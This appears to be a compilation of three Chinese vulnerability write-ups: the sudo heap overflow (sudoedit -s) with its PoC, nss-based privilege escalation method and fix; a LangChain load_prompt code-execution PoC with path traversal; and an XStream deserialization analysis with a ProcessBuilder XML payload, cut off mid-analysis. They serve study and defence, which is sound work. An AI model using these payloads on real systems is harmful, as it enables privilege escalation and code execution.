背景介绍 2021 年 1 月 26 日,Qualys Research Labs在 sudo 发现了一个缺陷。sudo 解析命令行参数的方式时,错误的判断了截断符,从而导致攻击者可以恶意构造载荷,使得sudo发生堆溢出,该漏洞在配合环境变量等分配堆以及释放堆的原语下,可以致使本地提权。 环境搭建 环境版本 • ubuntu 20.04 • sudo-1.8.31p2 采用下述命令进行编译安装 cd ./sudo-SUDO_1_8_31p2 mkdir build ./configure --prefix=/home/pwn/sudo CFLAGS=”-O0 -g" make && make install 漏洞验证 #poc ./sudoedit -s '\' 11111111111111111111111111111111111111111111111111111111111111111111 执行上述POC执行sudoedit会出现malloc():invalid size的字样,这是典型的堆溢出后导致的异常。 漏洞分析 源码分析 set_cmnd函数 File: plugins\sudoers\sudoers.c 800: static int 801: set_cmnd(void) 802: {   ... 819:     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { //需要满足标志位的设置才能进入转义的流程   ... 845: 846: /* set user_args */ 847: if (NewArgc > 1) { 848:    char *to, *from, **av; 849:    size_t size, n; 850: 851:    /* Alloc and build up user_args. */ 852:    for (size = 0, av = NewArgv + 1; *av; av++) //遍历每一个参数 853: size += strlen(*av) + 1; //计算每一个参数的长度 854:    if (size == 0 || (user_args = malloc(size)) == NULL) { //通过malloc动态分配一段内存,用于存放参数内容 855: sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); 856: debug_return_int(-1); 857:   } 858:    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //需要满足标志位的设置才能进入转义的流程 859: /* 860: * When running a command via a shell, the sudo front-end 861: * escapes potential meta chars. We unescape non-spaces 862: * for sudoers matching and logging purposes. 863: */ 864: for (to = user_args, av = NewArgv + 1; (from = *av); av++) { //遍历每个环境变量,并将内容拷贝到内存中 865:    while (*from) {   /*   漏洞点,当扫描参数内容时,遇到\需要进行转义处理,例如'\t'、'\n'等,因此sudo只判断\后是否跟随着空格字符,即用isspace函数进行判 断。   isspace包括的字符如下:   ' '     (0x20)   space (SPC) 空格符 '\t'   (0x09)   horizontal tab (TAB) 水平制表符     '\n'   (0x0a)   newline (LF) 换行符 '\v'   (0x0b)   vertical tab (VT) 垂直制表符 '\f'   (0x0c)   feed (FF) 换页符 '\r'   (0x0d)   carriage return (CR) 回车符 以上不包括'\0'。 而参数之间是使用'\0'作为分隔符的,因此当'\\'后跟随的'\0'会使得from++从而导致将后一个参数也被拷贝进来,最后致使堆块溢出。   */ 866: if (from[0] == '\\' && !isspace((unsigned char)from[1])) 867:    from++; 868: *to++ = *from++; 869:   } 870:    *to++ = ' '; 871: } 872: *--to = '\0'; 使用POC的例子对漏洞进行说明 漏洞原理图 因此漏洞点在于在进入set_cmnd函数时需要对转义字符进行转义,但是函数却没有判断转义字符作为参数末尾的情况,即\ + \x00 parse_args函数 parse_args函数用于反转义,即参数中若存在转义字符,会在每个转义字符之前增加一个\ File: src\parse_args.c 592:     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { //需要满足标志位的设置才会进入反转义流程 593: char **av, *cmnd = NULL; 594: int ac = 1; 595: 596: if (argc != 0) { 597:    /* shell -c "command" */ 598:    char *src, *dst; 599:    size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) + 600: strlen(argv[argc - 1]) + 1; 601: 602:    cmnd = dst = reallocarray(NULL, cmnd_size, 2); 603:    if (cmnd == NULL) 604: sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory")); 605:    if (!gc_add(GC_PTR, cmnd)) 606: exit(1); 607: 608:    for (av = argv; *av != NULL; av++) { 609: for (src = *av; *src != '\0'; src++) { 610:    /* quote potential meta characters */ 611:    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '#39;) 612: *dst++ = '\\'; 613:    *dst++ = *src; 614: } 615: *dst++ = ' '; 616:   } 617:    if (cmnd != dst) 618: dst--;  /* replace last space with a NUL */ 619:    *dst = '\0'; 620: 621:    ac += 2; /* -c cmnd */ 622: } 这也是为什么set_cmnd函数需要对参数进行转义,因此若先经过parse_args函数进行反转义,后经过set_cmnd函数进行转义,那么sudo是不会出现漏洞情况的 绕过检验 那么如何绕过set_cmnd函数直接进入parse_args函数,才是漏洞能够被成功触发的关键因素 首先是如何才能过进入set_cmnd函数,sudo会经过两重检测 sudo_mode需要具有MODE_RUN、MODE_EDIT或者MODE_CHECK的标志位 sudo_mode需要具有MODE_SHELL或者MODE_LOGIN_SHELL的标志位 File: plugins\sudoers\sudoers.c ... 819:     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { //需要满足标志位的设置才能进入转义的流程   ... 858:    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //需要满足标志位的设置才能进入转义的流程 想要获得MODE_SHELL的标志位,则需要设置-s参数,此时通过 SET(flags, MODE_SHELL),将flag设置上MODE_SHELL,并且默认的mode是为NULL,因此设置-s参数可以使得flag即设置MODE_SHELL又设置MODE_RUN。 File: src\parse_args.c 479: case 's': 480:    sudo_settings[ARG_USER_SHELL].value = "true"; 481:    SET(flags, MODE_SHELL); 482:    break; ... 534: if (!mode) 535:    mode = MODE_RUN; /* running a command */ 536:     } 但是若使用sudo -s,那么就会导致flag即设置MODE_SHELL又设置MODE_RUN,就会进入parse_args函数的流程,该流程会把所有非字母数字的字符前方增加一个'\',那么就会导致我们无法构造'' + '\x00'的漏洞字符,因此想要漏洞利用成功,我们不需要程序进入set_cmd函数,但是不能进入parse_args函数 File: src\parse_args.c 592:     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { //需要满足标志位的设置才会进入反转义流程   ... 608:    for (av = argv; *av != NULL; av++) { 609: for (src = *av; *src != '\0'; src++) { 610:    /* quote potential meta characters */ 611:    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '#39;) 612: *dst++ = '\\'; 613:    *dst++ = *src; 614: }   ... 622: } 在parse_args函数的开头,会检测是以sudo还是以sudoedit进行调用,若使用sudoedit调用,那么会直接给mode设置上MODE_EDIT,从而绕过了mode==NULL时,需要将flag设置为MODE_RUN,因此使用sudoedit -s,可以使得flag即设置MODE_EDIT又设置MODE_SHELL File: src\parse_args.c   ... 265:     proglen = strlen(progname); 266:     if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) { 267: progname = "sudoedit"; 268: mode = MODE_EDIT; 269: sudo_settings[ARG_SUDOEDIT].value = "true"; 270:     } 想要进入set_cmnd第二条路径就是flag设置为MODE_EDIT | MODE_SHELL,这样的输入就能够绕过parse_args函数而禁止进入set_cmd函数,这也是为什么sudo的堆溢出,需要使用sudoedit -s触发,而不是sudo -s File: plugins\sudoers\sudoers.c ... 819:     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { //需要满足标志位的设置才能进入转义的流程   ... 858:    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //需要满足标志位的设置才能进入转义的流程 漏洞利用 漏洞利用分析 由于程序存在一个明显的堆溢出漏洞,因此需要梳理一下堆溢出如何进行利用。 • 找到一个堆块,该堆块的值会影响程序执行的流程,这里称之为可利用堆块。 • 找到可以随意控制堆块位置的操作,将漏洞函数申请的堆块部署在可利用堆块的上方,当堆溢出触发时,可以将可利用堆块的值被改写成我们预期的值。 可利用堆块 nss是用于解析和获取不同类型的名称信息,例如如何通过用名称去获取用户信息,在sudo需要获取用户信息时则需要调用nss。 在使用nss去获取信息时,其实是通过不同的动态链接库去执行相应的行为,而这些库的文件名则存在于/etc/nsswitch.conf的配置文件中 例如想要查询passwd文件则需要用到libnss_files.so与libnss_systemed.so 那么如何加载这些动态链接库则需要依赖于nss_load_library函数,而且这些相关信息都被存放在service_user结构体中,而该结构体是存放在堆内存中的。 接着得先研究该结构体的值是否会影响程序的执行流程,代码如下。 File: nsswitch.c 327: static int 328: nss_load_library (service_user *ni) 329: { 330:   if (ni->library == NULL) 331:     { 332:       /* This service has not yet been used. Fetch the service 333: library for it, creating a new one if need be. If there 334: is no service table from the file, this static variable 335: holds the head of the service_library list made from the 336: default configuration. */ 337:       static name_database default_table; 338:       ni->library = nss_new_service (service_table ?: &default_table, 339:     ni->name); //若ni->library的值为NULL,那么就会新建一个ni->library并将成员都进行初始化 340:       if (ni->library == NULL) 341: return -1; 342:     } 343: 344:   if (ni->library->lib_handle == NULL) //由于ni->library刚新建,因此ni->library->lib_handle必定为NULL 345:     { 346:       /* Load the shared library. */ 347:       size_t shlen = (7 + strlen (ni->name) + 3 348:      + strlen (__nss_shlib_revision) + 1); 349:       int saved_errno = errno; 350:       char shlib_name[shlen]; 351: 352:       /* Construct shared object name. */ 353:       __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name, 354:      "libnss_"), 355:    ni->name), 356:  ".so"), //shalib_name是根据拼接得到 357: __nss_shlib_revision); 358: 359:       ni->library->lib_handle = __libc_dlopen (shlib_name); //加载动态链接库 上述代码有个非常关键的点在于,程序会使用__libc_dlopen打开shalib_name指定的动态链接库,而shalib_name是通过ni->name进行一系列的拼接得到,而ni->name则是存放在结构体service_user *ni中的,该结构体又是存放在堆内存中的。那么我们就找到了关键的值ni->name,它是能够完成修改程序执行流程的关键变量。 举个例子,例如我们将ni->name修改为X/test,那么最后拼接的结果会得到libnss_X/test.so,那么如果我们在当前目录下新建一个libnss_X并且在该目录中创建一个test.so的动态链接库,那么sudo就会加载并执行我们动态链接库中的代码。至此我们找到利用的第一个关键因素,可利用堆块。 布置堆块的操作 由于我们已经找到了可利用的堆块,如果能够将堆溢出的堆块部署在可利用堆块的上方,在利用堆溢出修改ni->name,即可完成任意代码执行的效果。 在sudo的main函数中,会执行setlocate函数。setlocale 是一个用于设置程序的区域设置(locale)的函数,在许多编程语言和操作系统中都有对应的实现。 区域设置是指程序在运行时所采用的语言、地区、日期格式、货币符号等相关信息的集合。通过设置区域设置,程序可以根据不同的地区和语言环境来适应本地化需求。 export LC_ALL=en_US.UTF-8@XXXX 而在setlocal函数中涉及十分多的堆块分配与释放的操作,当调用setlocal(LC_ALL,"")时,程序会通过环境变量设置的值去搜索区域设置的值,而环境变量的搜索则依靠_nl_find_locale函数。 _nl_find_locale函数 File: locale\findlocale.c 101: struct __locale_data * 102: _nl_find_locale (const char *locale_path, size_t locale_path_len, 103: int category, const char **name) 104: {   ... 184:   /* LOCALE can consist of up to four recognized parts for the XPG syntax: 185: 186: language[_territory[.codeset]][@modifier] 187: 188:     Beside the first all of them are allowed to be missing. If the 189:     full specified locale is not found, the less specific one are 190:     looked for. The various part will be stripped off according to 191:     the following order: 192: (1) codeset 193: (2) normalized codeset 194: (3) territory 195: (4) modifier 196:   */       /*       区域的格式为C_en_US.UTF-8@XXXXXX       _nl_explode_name用于判断(1)(2)(3)(4)哪部分存在,哪部分缺失       */ 197:   mask = _nl_explode_name (loc_name, &language, &modifier, &territory, 198:   &codeset, &normalized_codeset); 199:   if (mask == -1) 200:     /* Memory allocate problem. */ 201:     return NULL; 202:   //locale_file则给区域设置进行动态内存的分配 205:   locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], 206:    locale_path, locale_path_len, mask, 207:    language, territory, codeset, 208:    normalized_codeset, modifier, 209:    _nl_category_names_get (category), 0); //返回NULL 210: 211:   if (locale_file == NULL) 212:     { 213:       /* Find status record for addressed locale file. We have to search 214: through all directories in the locale path. */ 215:       locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], 216: locale_path, locale_path_len, mask, 217: language, territory, codeset, 218: normalized_codeset, modifier, 219: _nl_category_names_get (category), 1); 220:       if (locale_file == NULL) 221: /* This means we are out of core. */ 222: return NULL; 223:     } } _nl_make_l10nflist**函数** _nl_make_l10nflist会根据我们传入的值进行堆块的分配。 File: intl\l10nflist.c 150: struct loaded_l10nfile * 151: _nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list, 152:    const char *dirlist, size_t dirlist_len, 153:    int mask, const char *language, const char *territory, 154:    const char *codeset, const char *normalized_codeset, 155:    const char *modifier, 156:    const char *filename, int do_allocate) 157: {   ... 165:   //根据我们传入的区域值的长度进行动态分配 166:   abs_filename = (char *) malloc (dirlist_len 167:  + strlen (language) 168:  + ((mask & XPG_TERRITORY) != 0 169:     ? strlen (territory) + 1 : 0) 170:  + ((mask & XPG_CODESET) != 0 171:     ? strlen (codeset) + 1 : 0) 172:  + ((mask & XPG_NORM_CODESET) != 0 173:     ? strlen (normalized_codeset) + 1 : 0) 174:  + ((mask & XPG_MODIFIER) != 0 175:     ? strlen (modifier) + 1 : 0) 176:  + 1 + strlen (filename) + 1); 177:   ... 292: } setlocale**函数** setlocale函数总体操作则是读取环境变量的值获取区域设置的值,根据区域设置的值分配堆块大小,若其中存在不符合区域值的规范,则会将所有先前申请的堆块都释放掉。 File: locale\setlocale.c 334:       while (category-- > 0) 335: if (category != LC_ALL) 336: {   //通过_nl_find_locale函数去获取环境变量的值,存放在newdata[category]中 337:    newdata[category] = _nl_find_locale (locale_path, locale_path_len, 338: category, 339: &newnames[category]); 340: ... 364: else 365: {   //使用__strdup函数在堆内存中分配空间,并将newdata[category]拷贝进去 366:    newnames[category] = __strdup (newnames[category]); 367:    if (newnames[category] == NULL) 368:      break; 369: }   ... 393:  if (category != LC_ALL && newnames[category] != _nl_C_name 394:      && newnames[category] != _nl_global_locale.__names[category]) 395:    free ((char *) newnames[category]); //这里就是堆块释放的原语了,只要有一个区域设置的值不符合规范,则将之前所有申请的堆块都释放掉 因此可以通过区域值去控制堆块的大小,接着在最后设置一个错误的区域值去控制堆块的位置,至此我们找到可控制堆块的操作。 LC_IDENTIFICATION = C.UTF-8@XX..XX #若长度为0x10,则malloc(0x10) LC_MEASUREMENT = C.UTF-8@XX..XXX,#若长度为0X20,则malloc(0x20) LC_TELEPHONE = XXXX #不符合区域值的规范,则会调用free() exp的分析 由于我们需要控制server_user的堆块,因此需要知道该堆块的大小为多少,通过调试可知是0x40的堆块,因此利用setlocate多释放几个0x40的堆块,那么server_user就会使用到我们所释放的堆块。 紧接着将漏洞堆块分配到server_user堆块的上方,由于server_user的堆块是我们自己构建的,因此只需要在释放该堆块的同时也释放漏洞堆块即可,并且漏洞堆块的申请可是根据参数的长度所设置的 将设置区域值的函数设置为堆块分配与释放的原语,使用@后面的字符控制堆块的大小 使用错误的区域值进行堆块的释放 最后就是如何填充到可利用堆块,这里使用堆溢出,并且在环境变量中构造填充字符串,使得漏洞堆块可以覆盖掉可利用堆块的内容值,但这里需要注意的是,我们需要将ni->library中用\x00填充,而\x00是无法直接输入到环境变量中的,因此需要再次观察漏洞函数是如何拷贝字符的。根据代码分析可知,只要''后紧跟着'\x00',那么我们就能将\x00的值直接拷贝的堆内存中。紧接着将ni->name修改为我们认为构造的动态链接库即可。 File: plugins\sudoers\sudoers.c 866: if (from[0] == '\\' && !isspace((unsigned char)from[1])) //若 '\' 后跟着'\x00' 867:    from++; //此时from会指向\x00 868: *to++ = *from++; //使用\x00进行值的拷贝 869:   } 设置多个环境变量使得内存存在多个'' + '\x00',从而使用'\x00'去覆盖堆的内存值。 演示效果如下 漏洞修复 漏洞的修复则是将MODE_EDIT的标志位进行了额外的判断,并且在''后面增加了对'\0'的校验 --- a/plugins/sudoers/sudoers.c Sat Jan 23 08:43:59 2021 -0700 +++ b/plugins/sudoers/sudoers.c Sat Jan 23 08:43:59 2021 -0700 @@ -547,7 +547,7 @@     /* If run as root with SUDO_USER set, set sudo_user.pw to that user. */     /* XXX - causes confusion when root is not listed in sudoers */ -    if (sudo_mode & (MODE_RUN | MODE_EDIT) && prev_user != NULL) { +    if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT) && prev_user != NULL) { if (user_uid == 0 && strcmp(prev_user, "root") != 0) {    struct passwd *pw; @@ -932,8 +932,8 @@     if (user_cmnd == NULL) user_cmnd = NewArgv[0]; -    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { - if (ISSET(sudo_mode, MODE_RUN | MODE_CHECK)) { +    if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT|MODE_CHECK)) { + if (!ISSET(sudo_mode, MODE_EDIT)) { //对MODE_EDIT进行了额外的判断    const char *runchroot = user_runchroot;    if (runchroot == NULL && def_runchroot != NULL &&    strcmp(def_runchroot, "*") != 0) @@ -961,7 +961,8 @@ sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); debug_return_int(NOT_FOUND_ERROR);   } -    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { +    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL) && +    ISSET(sudo_mode, MODE_RUN)) { //需要sudo -s才能进行转义 /* * When running a command via a shell, the sudo front-end * escapes potential meta chars. We unescape non-spaces @@ -969,10 +970,22 @@ */ for (to = user_args, av = NewArgv + 1; (from = *av); av++) {    while (*from) { - if (from[0] == '\\' && !isspace((unsigned char)from[1])) + if (from[0] == '\\' && from[1] != '\0' &&  //增加了'\0'的判断 + !isspace((unsigned char)from[1])) {    from++; + } + if (size - (to - user_args) < 1) { +    sudo_warnx(U_("internal error, %s overflow"), + __func__); +    debug_return_int(NOT_FOUND_ERROR); + } *to++ = *from++;   } +    if (size - (to - user_args) < 1) { + sudo_warnx(U_("internal error, %s overflow"), +    __func__); + debug_return_int(NOT_FOUND_ERROR); +   }    *to++ = ' '; } *--to = '\0'; 总结 Sudo堆溢出攻击流程 首先利用setlocate作为堆块分配与释放的原语,构造出适合的堆布局确保server_user堆块尽可能贴近漏洞代码开辟出来的堆块。 其次利用堆溢出将server_user堆块的ni->name值覆盖,覆盖的值为恶意构造的动态链接库名。 最后等待动态链接库被加载执行。 Sudo堆溢出利用的限制 由于sudo堆溢出依赖堆的布局,因此不同版本的sudo或者操作系统都会影响漏洞的利用。
LangChain 任意命令执行(CVE-2023-34541)
漏洞简介 LangChain是一个用于开发由语言模型驱动的应用程序的框架。 在LangChain受影响版本中,由于load_prompt函数加载提示文件时未对加载内容进行安全过滤,攻击者可通过构造包含恶意命令的提示文件,诱导用户加载该文件,即可造成任意系统命令执行。 漏洞复现 在项目下编写 test.py from langchain.prompts import load_prompt if __name__ == '__main__':    loaded_prompt = load_prompt("system.py") 同级目录下编写 system.py 执行系统命令 dir import os os.system("dir") 运行 test.py 返回了执行系统命令dir 的结果 漏洞分析-_load_prompt_from_file langchain.prompts.loading.load_prompt try_load_from_hub 是尝试从给定的路径远程加载文件但是因为我们是加载本地文件,所以接下会跳转到 _load_prompt_from_file langchain.prompts.loading._load_prompt_from_file 在 _load_prompt_from_file 根据文件的后缀,当后缀是 .py 时 最终会读取该文件并利用 exec 去执行 也就相当于,代码可以简写为 if __name__ == '__main__':    file_path = "system.py"    with open(file_path, "rb") as f:        exec(f.read()) ‍ 漏洞分析-try_load_from_hub 因为网络的原因一直没有办法复现成功,这里就代码层面进行一个详细的分析 from langchain.prompts import load_prompt if __name__ == '__main__':    loaded_prompt = load_prompt("lc://prompts/../../../../../../../system.py") langchain.prompts.loading.load_prompt langchain.utilities.loading.try_load_from_hub 首先匹配了 HUB_PATH_RE = re.compile(r"lc(?Pref@[^:]+)?://(?Ppath.*)") 所以需要满足最开始是 lc:// 然后对后面的内容进行匹配,要求第一个字段的值是 prompts 最后的后缀要在 {'py', 'yaml', 'json'} 中 最后拼接请求的url 可以通过 ../../../ 绕出项目的限制,指向我们设定好的文件,并读取加载实现任意命令执行 漏洞小结 在最新版本上面进行尝试,仍然存在这个漏洞,这个漏洞的本质就是可以加载执行本地或者指定的 python 文件,但是在实际应用中这个问题应该并不是那么好进行利用,因为 python 文件的地址要可控才行。
Java 反序列化之 XStream 反序列化
0x01 XStream 基础 XStream 简介 XStream 是一个简单的基于 Java 库,Java 对象序列化到 XML,反之亦然(即:可以轻易的将 Java 对象和 XML 文档相互转换)。 使用 XStream 实现序列化与反序列化 下面看下如何使用 XStream 进行序列化和反序列化操作的。 先定义接口类 IPerson.java public interface IPerson {      void output();   } 接着定义 Person 类实现前面的接口: public class Person implements IPerson {      String name;      int age;        public void output() {          System.out.print("Hello, this is " + this.name + ", age " + this.age);     }   } XStream 序列化是调用 XStream.toXML() 来实现的: public class Serialize {      public static void main(String[] args) {          Person p = new Person();          p.age = 6;          p.name = "Drunkbaby";          XStream xstream = new XStream(new DomDriver());          String xml = xstream.toXML(p);          System.out.println(xml);     }   } XStream 反序列化是用过调用 XStream.fromXML() 来实现的,其中获取 XML 文件内容的方式可以通过 Scanner() 或 FileInputStream 都可以: Deserialize.java import com.thoughtworks.xstream.XStream;   import com.thoughtworks.xstream.io.xml.DomDriver;     import java.io.File;   import java.io.FileInputStream;   import java.io.FileNotFoundException;   import java.util.Scanner;     public class Deserialize {      public static void main(String[] args) throws FileNotFoundException {   //       String xml = new Scanner(new File("person.xml")).useDelimiter("\\Z").next();          FileInputStream xml = new FileInputStream("G:\\OneDrive - yapuu\\Java安全学习\\JavaSecurityLearning\\JavaSecurity\\XStream\\XStream\\XStream-Basic\\src\\main\\java\\person.xml");          XStream xstream = new XStream(new DomDriver());          Person p = (Person) xstream.fromXML(xml);          p.output();     }   } XStream 几个部分 XStream 类图,参考./https://www.jianshu.com/p/387c568faf62: 主要分为四个部分: MarshallingStrategy 编码策略 marshall : object->xml 编码 unmarshall : xml-> object 解码 两个重要的实现类: com.thoughtworks.xstream.core.TreeMarshaller : 树编组程序 调用 Mapper 和 Converter 把 XML 转化成 Java 对象 其中的 start 方法开始编组 其中调用了 this.convertAnother(item) 方法 convertAnother 方法的作用是把 XML 转化成 Java 对象。 Mapper 映射器 简单来说就是通过 mapper 获取对象对应的类、成员、Field 属性的 Class 对象,赋值给 XML 的标签字段。 Converter 转换器 XStream 为 Java 常见的类型提供了 Converter 转换器。转换器注册中心是 XStream 组成的核心部分。 转换器的职责是提供一种策略,用于将对象图中找到的特定类型的对象转换为 XML 或将 XML 转换为对象。 简单地说,就是输入 XML 后它能识别其中的标签字段并转换为相应的对象,反之亦然。 转换器需要实现 3 个方法,这三个方法分别是来自于 Converter 类以及它的父类 ConverterMatcher canConvert 方法:告诉 XStream 对象,它能够转换的对象; marshal 方法:能够将对象转换为 XML 时候的具体操作; unmarshal 方法:能够将 XML 转换为对象时的具体操作; 具体参考:http://x-stream.github.io/converters.html 这里告诉了我们针对各种对象,XStream 都做了哪些支持。 EventHandler 类 EventHandler 类为动态生成事件侦听器提供支持,这些侦听器的方法执行一条涉及传入事件对象和目标对象的简单语句。 EventHandler 类是实现了 InvocationHandler 的一个类,设计本意是为交互工具提供 beans,建立从用户界面到应用程序逻辑的连接。 EventHandler 类定义的代码如下,其含有 target 和 action 属性,在 EventHandler.invoke()->EventHandler.invokeInternal()->MethodUtil.invoke() 的函数调用链中,会将前面两个属性作为类方法和参数继续反射调用: public class EventHandler implements InvocationHandler {      private Object target;      private String action;   ...     public Object invoke(final Object proxy, final Method method, final Object[] arguments) {         ...                  return invokeInternal(proxy, method, arguments);         ...     }         private Object invokeInternal(Object proxy, Method method, Object[] arguments) {         ...                                Method targetMethod = Statement.getMethod(                               target.getClass(), action, argTypes);                 ...                  return MethodUtil.invoke(targetMethod, target, newArgs);             }             ...     }     ...   } 这里重点看下 EventHandler.invokeInternal() 函数的代码逻辑,如注释: private Object invokeInternal(Object var1, Method var2, Object[] var3) {   //-------------------------------------part1----------------------------------   //作用:获取interface的name,即获得Comparable,检查name是否等于以下3个名称          String var4 = var2.getName();          if (var2.getDeclaringClass() == Object.class) {              if (var4.equals("hashCode")) {                  return new Integer(System.identityHashCode(var1));             }                if (var4.equals("equals")) {                  return var1 == var3[0] ? Boolean.TRUE : Boolean.FALSE;             }                if (var4.equals("toString")) {                  return var1.getClass().getName() + '@' + Integer.toHexString(var1.hashCode());             }         }   //-------------------------------------part2----------------------------------   //貌似获取了一个class和object          if (this.listenerMethodName != null && !this.listenerMethodName.equals(var4)) {              return null;         } else {              Class[] var5 = null;              Object[] var6 = null;              if (this.eventPropertyName == null) {                  var6 = new Object[0];                  var5 = new Class[0];             } else {                  Object var7 = this.applyGetters(var3[0], this.getEventPropertyName());                  var6 = new Object[]{var7};                  var5 = new Class[]{var7 == null ? null : var7.getClass()};             }   //------------------------------------------------------------------------------              try {                  int var12 = this.action.lastIndexOf(46);                  if (var12 != -1) {                      this.target = this.applyGetters(this.target, this.action.substring(0, var12));                      this.action = this.action.substring(var12 + 1);                 }   //--------------------------------------part3----------------------------------------   //var13获取了method的名称, var13=public java.lang.Process java.lang.ProcessBuilder.start() throws java.io.IOException                  Method var13 = Statement.getMethod(this.target.getClass(), this.action, var5);   //--------------------------------------------------------------------------   //判断var13是否为空,当然不为空啦                  if (var13 == null) {                      var13 = Statement.getMethod(this.target.getClass(), "set" + NameGenerator.capitalize(this.action), var5);                 }                    if (var13 == null) {                      String var9 = var5.length == 0 ? " with no arguments" : " with argument " + var5[0];                      throw new RuntimeException("No method called " + this.action + " on " + this.target.getClass() + var9);                 } else {   //-------------------------------------part4----------------------------------   //调用invoke,调用函数,执行命令                      return MethodUtil.invoke(var13, this.target, var6);                 }   //------------------------------------------------------------------------------             } catch (IllegalAccessException var10) {                  throw new RuntimeException(var10);             } catch (InvocationTargetException var11) {                  Throwable var8 = var11.getTargetException();                  throw var8 instanceof RuntimeException ? (RuntimeException)var8 : new RuntimeException(var8);             }         }   } 有一说一看到这里的时候,就感觉 XStream 可能比较多的会通过动态代理作为 sink DynamicProxyConverter 动态代理转换器 DynamicProxyConverter 即动态代理转换器,是 XStream 支持的一种转换器,其存在使得 XStream 能够把 XML 内容反序列化转换为动态代理类对象: XStream 反序列化漏洞的 PoC 都是以 DynamicProxyConverter 这个转换器为基础来编写的。 以官网给的例子为例: <dynamic-proxy>    <interface>com.foo.Blah</interface>    <interface>com.foo.Woo</interface>    <handler class="com.foo.MyHandler">      <something>blah</something>    </handler>   </dynamic-proxy> dynamic-proxy 标签在 XStream 反序列化之后会得到一个动态代理类对象,当访问了该对象的com.foo.Blah 或 com.foo.Woo 这两个接口类中声明的方法时(即 interface 标签内指定的接口类),就会调用 handler 标签中的类方法 com.foo.MyHandler 0x02 CVE-2013-7285 PoC <sorted-set>    <dynamic-proxy>      <interface>java.lang.Comparable</interface>      <handler class="java.beans.EventHandler">        <target class="java.lang.ProcessBuilder">          <command>            <string>Calc</string>          </command>        </target>        <action>start</action>      </handler>    </dynamic-proxy>   </sorted-set> 看到 PoC 这里大致是明白了,在之前有一段代码是读取每一个 XML 的节点,读取这些节点之后应该是用动态代理触发 invoke() 了 触发代码 import com.thoughtworks.xstream.XStream;   import com.thoughtworks.xstream.io.xml.DomDriver;     import java.io.FileInputStream;     // CVE_2013_7285 Exploit   public class CVE_2013_7285 {      public static void main(String[] args) throws Exception{          FileInputStream fileInputStream = new FileInputStream("G:\\OneDrive - yapuu\\Java安全学习\\JavaSecurityLearning\\JavaSecurity\\XStream\\XStream\\XStream-Basic\\src\\main\\java\\person.xml");          XStream xStream = new XStream(new DomDriver());          xStream.fromXML(fileInputStream);     }   } 漏洞原理 XStream 反序列化漏洞的存在是因为 XStream 支持一个名为 DynamicProxyConverter 的转换器,该转换器可以将 XML 中 dynamic-proxy 标签内容转换成动态代理类对象,而当程序调用了 dynamic-proxy 标签内的 interface 标签指向的接口类声明的方法时,就会通过动态代理机制代理访问 dynamic-proxy 标签内 handler 标签指定的类方法。 利用这个机制,攻击者可以构造恶意的XML内容,即 dynamic-proxy 标签内的 handler 标签指向如 EventHandler 类这种可实现任意函数反射调用的恶意类、interface 标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意 XML 内容后即可触发反序列化漏洞、达到任意代码执行的目的。 漏洞分析 下断点调试一下,这里前面的流程和分析 XStream 流程是类似的,会调用HierarchicalStreams.readClassType() 来获取到 PoC XML 中根标签的类类型 后面会跟进到 mapper.realClass() 进行循环遍历,用来查找 XML 中的根标签为何类型(前面也都分析过了),接着是调用 convertAnother() 函数对 java.util.SortedSet 类型进行转换,我们跟进去该函数,其中调用 mapper.defaultImplementationOf() 函数来寻找 java.util.SortedSet 类型的默认实现类型进行替换,这里转换为了 java.util.TreeSet 类型 接着就是寻找 Convert 的过程,这里寻找到对应的转换器是 TreeMapConverter 转换器 往下调试,在 AbstractReferenceUnmarshaller.convert() 函数中看到,会调用 getCurrentReferenceKey() 来获取当前的 Reference 键,并且会将当前的 Reference 键压到栈中,这个 Reference 键后续会和保存的类型 —— java.util.TreeSet 类一一对应起来。 接着调用其父类即的 FastStack.convert() 方法,跟进去,显示将类型压入栈,然后调用转换器 TreeSetConverter 的 unmarshal() 方法: 在它第 61 行调用了 treeMapConverter.unmarshalComparator() 方法,这个方法获取到了第二个 XML 节点元素,这个方法当时漏看了,这个方法还是比较重要的,它获取到了 xml 根元素的子元素。 跟进之后就变得一目了然了,其中判断 reader 是否还有子元素 下面的 reader.movedown() 方法做了获取子元素,并把子元素添加到当前 context 的 pathTracker 往下调试,在 TreeSetConverter.unmarshal() 方法中调用了 this.treeMapConverter.populateTreeMap(),从这个方法开始,XStream 开始处理了 XML 里面其他的节点元素。跟进该函数,先判断是否是第一个元素,是的话就调用 putCurrentEntryIntoMap()函数,即将当前内容缓存到 Map 中: 跟进去,发现调用 readItem() 方法读取标签内的内容并缓存到当前 Map 中 这里再跟进 readItem() 方法,会发现比较有意思的一点是它又调用了 HierarchicalStreams.readClassType() 和 context.convertAnother() 方法,而这里的元素已经变成了第二个元素,也就是 <dynamic-proxy>,这里有点像是递归调用 可以跟进去看一下,这里通过查看 mapper 可以知道目前拿去保存在 mapper 当中的还是两个元素,而 XStream 的处理,则会处理最新的一个(最里层的一个) 经过处理之后返回的 type 就为最新的一个子元素的类型,这里是 